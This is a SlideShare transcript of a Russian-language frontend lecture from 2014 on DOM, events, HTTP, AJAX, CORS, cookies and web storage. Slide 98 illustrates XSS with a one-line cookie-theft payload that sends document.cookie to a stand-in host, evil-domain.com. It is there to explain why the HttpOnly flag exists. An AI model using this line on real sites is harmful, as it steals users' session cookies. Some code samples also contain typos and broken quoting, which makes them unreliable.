Frontend весна 2014 лекция 3
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Frontend весна 2014 лекция 3

on

  • 238 views

 

Statistics

Views

Total Views
238
Views on SlideShare
223
Embed Views
15

Actions

Likes
0
Downloads
3
Comments
0

2 Embeds 15

https://tech-mail.ru 14
http://www.slideee.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Frontend весна 2014 лекция 3 Presentation Transcript

  • 1. 1 DOM, Events
  • 2. Native objects Native object — object in an ECMAScript implementation whose semantics are fully defined by this specification rather than by the host environment. Section 4.3.6, ECMAScript 5.1“ 2
  • 3. Native objects Object Array Date … Array.prototype.indexOf String.prototype.replace … 01. 02. 03. 04. 05. 06. 07. 3
  • 4. Host objects Host object — object supplied by the host environment to complete the execution environment of ECMAScript. Section 4.3.8, ECMAScript 5.1“ 4
  • 5. Host objects window document history … document.getElementById … 01. 02. 03. 04. 05. 06. 5
  • 6. DOM
  • 7. Document Object Model 1.  DOM Core: Node, Element, Document, Event… 2.  DOM Events DOM Reference 7
  • 8. Node element.nodeType /* 1, 3… */ element.tagName /* "DIV", "A"… */ element.nodeValue 01. 02. 03. 8
  • 9. Обход дерева element.previousSibling || element.nextSibling element.firstChild || element.lastChild element.parentNode element.childNodes element.children Демонстрация 01. 02. 03. 04. 05. 9
  • 10. Поиск элемента document.getElementById /* element */ element.getElementsByTagName /* HTMLCollection */ element.getElementsByClassName /* HTMLCollection */ element.querySelector /* element */ element.querySelectorAll /* elementList */ Демонстрация 01. 02. 03. 04. 05. 10
  • 11. jQuery $('#page') /* ⟷ document.getElementById('page') */ $('div') /* ⟷ document.getElementsByTagName('div') */ $('.link') /* ⟷ document.getElementsByClassName('link') */ $('#page div .link') /* ⟷ document.querySelectorAll('#page div .link') */ 01. 02. 03. 04. 05. 11
  • 12. HTMLCollection (live-NodeList) length item(index) [index] 01. 02. 03. 12
  • 13. HTMLCollection (live-NodeList) var links = document.getElementsByTagName('a'); for (var i = 0, l = links.length; i < l; i++) { /* links[i] */ } 01. 02. 03. 04. 13
  • 14. HTMLCollection vs. Array length [index] forEach(fn) map(fn) indexOf(item) … 01. 02. 03. 04. 05. 06. 14
  • 15. HTMLCollection vs. Array var links = document.getElementsByTagName('a'); var linksArray = Array.prototype.slice.call(links); linksArray.forEach(function (link) { /* link */ }); 01. 02. 03. 04. 05. 15
  • 16. jQuery $('a').each(function (i, link) { var $this = $(this); /* link */ }); 01. 02. 03. 16
  • 17. Модификация узла element.id = "" /* ⟷ id */ element.className = "" /* ⟷ class */ element.classList /* ⟷ class */ 01. 02. 03. 17
  • 18. Модификация узла element.getAttribute("class") element.setAttribute("class", className) element.hasAttribute("class") element.removeAttribute("class") 01. 02. 03. 04. 18
  • 19. jQuery $(element).attr("class") /* ⟷ element.getAttribute("class") */ $(element).attr("class", className) /* ⟷ element.setAttribute("class", className) */ $(element).removeAttr("class") /* ⟷ element.removeAttribute("class") */ 01. 02. 03. 04. 05. 19
  • 20. attr vs. prop <input type="checkbox" checked="checked" /> element.checked /* true */ $(element).prop("checked") /* true */ element.getAttribute("checked") /* "checked" */ $(element).attr("checked") /* "checked" */ 01. 02. 03. 04. 20
  • 21. dataset <div data-value="true" data-company-name="Mail.ru" /> element.dataset.value /* "true" */ element.dataset.companyName /* "Mail.ru" */ $(element).data("value") /* "true" */ $(element).data("companyName") /* "Mail.ru" */ 01. 02. 03. 04. 21
  • 22. Модификация дерева document.createElement("div") parent.appendChild(child) parent.insertBefore(child, referenceElement) parent.removeChild(child) 01. 02. 03. 04. 22
  • 23. jQuery $("body").append("<div class="page">…</div"); $("<div class="page">…</div").appendTo("body"); /* prepent, perependTo */ 01. 02. 03. 23
  • 24. Events
  • 25. DefaultView Document <html> <body> <table> <tbody> <tr> <tr> <td> Shady Grove <td> Aeolian <td> Over the River,  Charlie <td> Dorian Capture  Phase  (1) Target  Phase  (2) Bubbling  Phase  (3)
  • 26. Events element.addEventListener(type, listener[, useCapture]) element.removeEventListener(type, listener[, useCapture]) Демонстрация 01. 02. 26
  • 27. jQuery $(element).on(type, listener) /* ⟷ element.addEventListener(type, listener, false) */ $(element).off(type, listener) /* ⟷ element.removeEventListener(type, listener, false) */ 01. 02. 03. 04. 27
  • 28. Свойства события event.type evnet.eventPhase event.target event.curentTarget event.preventDefault() event.stopPropogation() event.stopImmediatePropagation() 01. 02. 03. 04. 05. 06. 07. 28
  • 29. Источники событий Element document window XMLHttpRequest … 01. 02. 03. 04. 05. 29
  • 30. Input device events click, dblclick contextmenu keydown, keyup, keypress mousein, mouseout, mousemove mouseenter, mouseleave mousedown, mouseup 01. 02. 03. 04. 05. 06. 30
  • 31. Form events reset submit 01. 02. 31
  • 32. Focus events focus blur change 01. 02. 03. 32
  • 33. Document events load, unload DOMContentLoaded 01. 02. 33
  • 34. Window events hashchange resize 01. 02. 34
  • 35. Event delegation $('table').on('click', 'td', function (e) { alert(e.target); }); Демонстрация 01. 02. 03. 35
  • 36. Домашнее задание РЕАЛИЗАЦИЯ ИГРОВОЙ МЕХАНИКИ ДОРАБОТАТЬ ПРОТОТИП ПО ТЗ 01. 02. 36
  • 37. 2 Сетевое взаимодействие
  • 38. Uniform resource locator scheme://domain:port/path?query_string#fragment_id location.protocol /* "scheme:" */ location.hostname /* "domain" */ location.port /* "port" */ location.pathname /* "/path" */ location.search /* "?query_string" */ location.hash /* "#fragment_id" */ 01. 02. 03. 04. 05. 06. 07. 38
  • 39. HyperText Transfer Protocol ПРОТОКОЛ ПРИКЛАДНОГО УРОВНЯ (7-ОЙ УРОВЕНЬ OSI) КЛИЕНТ (ЗАПРОС) — СЕРВЕР (ОТВЕТ) НЕ ХРАНИТ СОСТОЯНИЕ МЕЖДУ ЗАПРОСАМИ ПРОСТ В РЕАЛИЗАЦИИ РАСШИРЯЕМЫЙ РАСПРОСТРАНЕННЫЙ 01. 02. 03. 04. 05. 06. 39
  • 40. OSI ФИЗИЧЕСКИЙ (СРЕДА, СИГНАЛЫ, КОДЫ) КАНАЛЬНЫЙ (ФИЗИЧЕСКАЯ АДРЕСАЦИЯ) СЕТЕВОЙ (ЛОГИЧЕСКАЯ АДРЕСАЦИЯ, МАРШРУТИЗАЦИЯ) ТРАНСПОРТНЫЙ (НАДЕЖНОСТЬ) СЕАНСОВЫЙ (СЕССИИ) ПРЕДСТАВИТЕЛЬСКИЙ (СЖАТИЕ, ШИФРОВАНИЕ) ПРИКЛАДНОЙ (ДОСТУП К ДАННЫМ) 01. 02. 03. 04. 05. 06. 07. 40
  • 41. HTTP 1991 HTTP/0.9 1996 HTTP/1.0 1999 HTTP/1.1 01. 02. 03. 41
  • 42. Структура протокола СТАРТОВАЯ СТРОКА // >= HTTP/0.9 ЗАГОЛОВКИ // >= HTTP/1.0 ТЕЛО СООБЩЕНИЯ // >= HTTP/1.0 01. 02. 03. 42
  • 43. http://mail.ru/ GET / HTTP/1.1 Host: mail.ru Accept: text/html,application/xhtml+xml,… Connection: keep-alive Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,ru;q=0.6 User-Agent: Mozilla/5.0 … Safari/537.36 01. 02. 03. 04. 05. 06. 07. 43
  • 44. HTTP/1.1 200 OK Date: Sun, 16 Feb 2014 22:09:34 GMT Server: Apache/1.3.27 (Unix) … Content-Encoding: gzip Connection: close Cache-Control: no-cache,no-store,must-revalidate Content-Length: 50316 Content-Type: text/html; charset=utf-8 <!DOCTYPE html>… 01. 02. 03. 04. 05. 06. 07. 08. 09. 10. 44
  • 45. Методы GET // ЗАПРОС ДАННЫХ POST // ПЕРЕДАЧА ДАННЫХ PUT // ЗАГРУЗКА СОДЕРЖИМОГО ЗАПРОСА DELETE // УДАЛЕНИЕ РЕСУРСА HEAD // ПОЛУЧЕНИЕ ТОЛЬКО ЗАГОЛОВКОВ OPTIONS // ОПРЕДЕЛЕНИЕ ВОЗМОЖНОСТЕЙ СЕРВЕРА … 01. 02. 03. 04. 05. 06. 07. 45
  • 46. Коды ответов ИНФОРМАЦИОННЫЕ // 1xx УСПЕШНЫЕ // 2xx ПЕРЕНАПРАВЛЕНИЕ // 3xx ОШИБКА КЛИЕНТА // 4xx ОШИБКА СЕРВЕРА // 5xx 01. 02. 03. 04. 05. 46
  • 47. 200 // OK 301 // Moved Permanently 302 // Moved Temporarily 304 // Not Modified 400 // Bad Request 401 // Unauthorized 404 // Not Found 405 // Method Not Allowed 414 // Request-URI Too Large 01. 02. 03. 04. 05. 06. 07. 08. 09. 47
  • 48. 500 // Internal Server Error 502 // Bad Gateway 503 // Service Unavailable 504 // Gateway Timeout 01. 02. 03. 04. 48
  • 49. AJAX = Asynchronous JavaScript + XML
  • 50. AJAX AJAX — подход к построению интерактивных пользовательских интерфейсов веб-приложений, заключающийся в «фоновом» обмене данными браузера с веб-сервером. Википедия “ 50
  • 51. PROs ЭКОНОМИЯ ТРАФИКА СНИЖЕНИЕ НАГРУЗКИ НА СЕРВЕР-САЙД УСКОРЕНИЕ РЕАКЦИИ ИНТЕРФЕЙСА ИНТЕРАКТИВНЫЙ ВОЗМОЖНОСТИ 01. 02. 03. 04. 51
  • 52. CONs ТРУДНОСТИ ИНДЕКСИРОВАНИЯ УСЛОЖНЕНИЕ РАЗРАБОТКИ ТРЕБУЕТСЯ JAVASCRIPT 01. 02. 03. 52
  • 53. Способы XMLHttpRequest JSONP IFRAME CORS WebSockets 01. 02. 03. 04. 05. 53
  • 54. XMLHttpRequest var xhr = new XMLHttpRequest(); xhr.open("GET", "http://mail.ru/", true); xhr.send(null); 01. 02. 03. 54
  • 55. XMLHttpRequest xhr.onreadystatechange = function (e) { /* e.target === xhr; */ if (xhr.readyState === 4) { if (xhr.status === 200) { alert(xhr.responseText); } } }; 01. 02. 03. 04. 05. 06. 07. 08. 55
  • 56. readyState 0 /* UNSENT — до open() */ 1 /* OPENED — до send() */ 2 /* HEADERS_RECEIVED — данные еще не получены */ 3 /* LOADING — данные начали поступать */ 4 /* DONE — данные получены */ 01. 02. 03. 04. 05. 56
  • 57. xhr.readyState === 4 xhr.status /* Number */ xhr.responseText /* String */ xhr.responseXML /* XMLDocument */ 01. 02. 03. 57
  • 58. Same-origin policy https://e.mail.ru/messages/inbox/ (ORIGIN) https://e.mail.ru/compose/ (SAME-ORIGIN) http ://e.mail.ru/compose/ (CROSS-ORIGIN) https://e.mail.ru: 8080 /compose/ (CROSS-ORIGIN) https:// news .mail.ru/ (CROSS-ORIGIN) 01. 02. 03. 04. 05. 58
  • 59. JSONP <script> function resultHnd(json) { /* json */ } </script> <script src="http://example.com/users/?cb=resultHnd"> </script> 01. 02. 03. 04. 05. 06. 07. 59
  • 60. JSONP > GET /users/?cb=resultHnd HTTP/1.0 < resultHnd({ … }); > GET /users/?cb=resultHndN HTTP/1.0 < resultHndN({ … }); 01. 02. 03. 04. 05. 60
  • 61. IFRAME (SAME-ORIGIN) <iframe name="req" src="javascript:false" style="display:none"></iframe> <script> function resultHnd(json) { /* json */ } </script> 01. 02. 03. 04. 05. 06. 07. 61
  • 62. IFRAME (SAME-ORIGIN) <form action="/ifecho" method="post" target="req"> <input type="hidden" name="cb" value="resultHnd" /> <input type="text" name="msg" value="Hello" /> </form> 01. 02. 03. 04. 62
  • 63. IFRAME (SAME-ORIGIN) > POST /ifecho HTTP/1.0 > … < <script> < window.parent.resultHnd({ … }); < </script> 01. 02. 03. 04. 05. 06. 63
  • 64. IFRAME (CROSS-ORIGIN) > POST /ifecho HTTP/1.0 > … < <script> < window.parent.resultHnd({ … }); < </script> 01. 02. 03. 04. 05. 06. 64
  • 65. IFRAME (CROSS-ORIGIN) > POST /ifecho HTTP/1.0 > … < <script> < window.parent.postMessage("resultHnd:{ … }", "*"); < </script> 01. 02. 03. 04. 05. 06. 65
  • 66. IFRAME (CROSS-ORIGIN) IFRAME (ДЛЯ ЗАГРУЗКИ) + JSONP (ДЛЯ ОТСЛЕЖИВАНИЯ СТАТУСА) 01. 02. 66
  • 67. Cross-Origin Resource Sharing /* Origin: tech-mail.ru */ var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (e) { }; xhr.open("GET", "http://mail.ru/", true); xhr.send(null); 01. 02. 03. 04. 05. 67
  • 68. Cross-Origin Resource Sharing > GET / HTTP/1.1 > Host: mail.ru > Referer: http://tech-mail.ru/ > Origin: http://tech-mail.ru/ > User-Agent: Mozilla/5.0 … 01. 02. 03. 04. 05. 68
  • 69. Cross-Origin Resource Sharing < HTTP/1.1 200 OK < Content-Type: text/html; charset=utf-8 < Content-Length: 201474 < … 01. 02. 03. 04. 69
  • 70. Cross-Origin Resource Sharing XMLHttpRequest cannot load http://mail.ru/. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://tech-mail.ru' is therefore not allowed access. 01. 02. 03. 04. 70
  • 71. Cross-Origin Resource Sharing < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: text/html; charset=utf-8 < Content-Length: 201474 < … 01. 02. 03. 04. 05. 71
  • 72. CORS With Credentials /* Origin: tech-mail.ru */ var xhr = new XMLHttpRequest(); xhr.withCredentials = true; < Access-Control-Allow-Origin: http://tech-mail.ru < Access-Control-Allow-Credentials: true 01. 02. 03. 04. 05. 06. 72
  • 73. Comet Comet — любая модель работы веб-приложения, при которой постоянное HTTP-соединение позволяет веб-серверу отправлять (push) данные браузеру без дополнительного запроса со стороны браузера. Википедия “ 73
  • 74. Comet IFRAME /* …<script>…</script>…<script>…</script>… */ WebSockets 01. 02. 74
  • 75. Поддержка WebSockets Chrome 16 & Chrome for Android 16 Firefox 11 Internet Explorer 10 Opera 12.10 Safari 6.0 & Safari Mobile 6.0 01. 02. 03. 04. 05. 75
  • 76. Особенности WebSockets Upgrades from HTTP 1.1 Cross-Origin Resource Sharing (CORS) Message-based 01. 02. 03. 76
  • 77. Использование WebSockets var connection = new WebSocket('ws://example.com/echo'); connection.onopen = function () { … }; connection.onerror = function (error) { … }; connection.onmessage = function (e) { /* e.data */ }; connection.send(msg); 01. 02. 03. 04. 05. 77
  • 78. Домашнее задание ВЗАИМОДЕЙСТВИЕ С СЕРВЕРОМ С ПОМОЩЬЮ AJAX 78
  • 79. Подготовка $ git remote add tp → https://github.com/eprev/frontend-stub.git $ git remote update $ git merge tp/v4 01. 02. 03. 04. 79
  • 80. Разрешаем конфикты $ git status $ git add … $ git commit -m "Fix merge conflicts" $ grunt 01. 02. 03. 04. 80
  • 81. Запускаем $ npm install $ grunt 01. 02. 81
  • 82. 3 Хранение данных
  • 83. HTTP is a stateless protocol
  • 84. Cookies
  • 85. Cookies Куки — небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере пользователя. Веб-клиент (обычно веб- браузер) всякий раз при попытке открыть страницу соответствующего сайта пересылает этот фрагмент данных веб- серверу в виде HTTP-запроса. Википедия “ 85
  • 86. Использование АУТЕНТИФИКАЦИЯ ХРАНЕНИЕ НАСТРОЕК ПОЛЬЗОВАТЕЛЕЙ ОТСЛЕЖИВАНИЕ СЕАНСА СБОР СТАТИСТИКИ 01. 02. 03. 04. 86
  • 87. Спецификация ДО 4096 БАЙТ МИНМУМ МИНИМУМ 20 ШТ. НА ДОМЕН МИНИМУМ 300 ШТ. ВСЕГО ИМЕНЯ НЕЧУВСТВИТЕЛЬНЫ К РЕГИСТРУ 01. 02. 03. 04. 87
  • 88. 1 Клиент → Сервер GET / HTTP/1.1 Host: example.com … 01. 02. 03. 88
  • 89. 2 Клиент ← Сервер HTTP/1.1 200 OK Set-Cookie: name=value Content-Type: text/html … 01. 02. 03. 04. 89
  • 90. 3 Клиент → Сервер GET / HTTP/1.1 Host: example.com Cookie: name=value … 01. 02. 03. 04. 90
  • 91. 4 Клиент ← Сервер HTTP/1.1 200 OK Set-Cookie: name=newValue Content-Type: text/html … 01. 02. 03. 04. 91
  • 92. Set-Cookie Set-Cookie: value[; expires=date][; domain=domain] [; path=path][; secure][; HttpOnly] 01. 02. 92
  • 93. Set-Cookie’s expires Set-Cookie: value; expires=Sat, 01 March 2014 13:21:34 GMT 93
  • 94. Set-Cookie’s domain Set-Cookie: value1; domain=.mail.ru Set-Cookie: value2; domain=e.mail.ru 94
  • 95. Set-Cookie’s path Set-Cookie: value1; path=/ Set-Cookie: value2; path=/check Set-Cookie: value3; path=/checkout 95
  • 96. Cookie ID Set-Cookie: name=value1; domain=.example.com; path=/ Set-Cookie: name=value2; domain=www.example.com; path=/ Set-Cookie: name=value3; domain=.example.com; path=/archive Cookie: name=value1; name=value2; name=value3 01. 02. 03. 96
  • 97. JavaScript document.cookie; /* "name=newValue" */ document.cookie = "name2=value"; document.cookie; /* "name=newValue; name2=value" */ 01. 02. 03. 97
  • 98. Cross Site Scripting (XSS) (new Image()).src = "http://evil-domain.com/?cookie=" + document.cookie; 01. 02. 98
  • 99. HttpOnly Set-Cookie: name1=value; Set-Cookie: name2=value; HttpOnly document.cookie; /* "name1=value" */ 01. 02. 99
  • 100. localStorage
  • 101. window.localStorage localStorage[key]; /* String */ localStorage[key] = value; /* String */ 01. 02. 101
  • 102. window.localStorage localStorage.length localStorage.key(i)/* String */ localStorage.getItem(key) /* String */ localStorage.setItem(key, value) localStorage.removeItem(key) localStorage.clear() 01. 02. 03. 04. 05. 06. 102
  • 103. Событие storage window.addEventListener("storage", function (e) { /* e.key, e.newValue */ }) 01. 02. 03. 103
  • 104. JSON function setJSON(key, value) { localStorage[key] = JSON.stringify(value); } function getJSON(key) { var value = localStorage[key]; return value ? JSON.parse(value) : null; } 01. 02. 03. 04. 05. 06. 07. 104
  • 105. sessionStorage
  • 106. Что есть еще? IndexedDB FileSystem 01. 02. 106
  • 107. Домашнее задание СОХРАНЕНИЕ РЕЗУЛЬТАТОВ ИГРЫ, ПРИ ОСТУСТВИИ СВЯЗИ. 107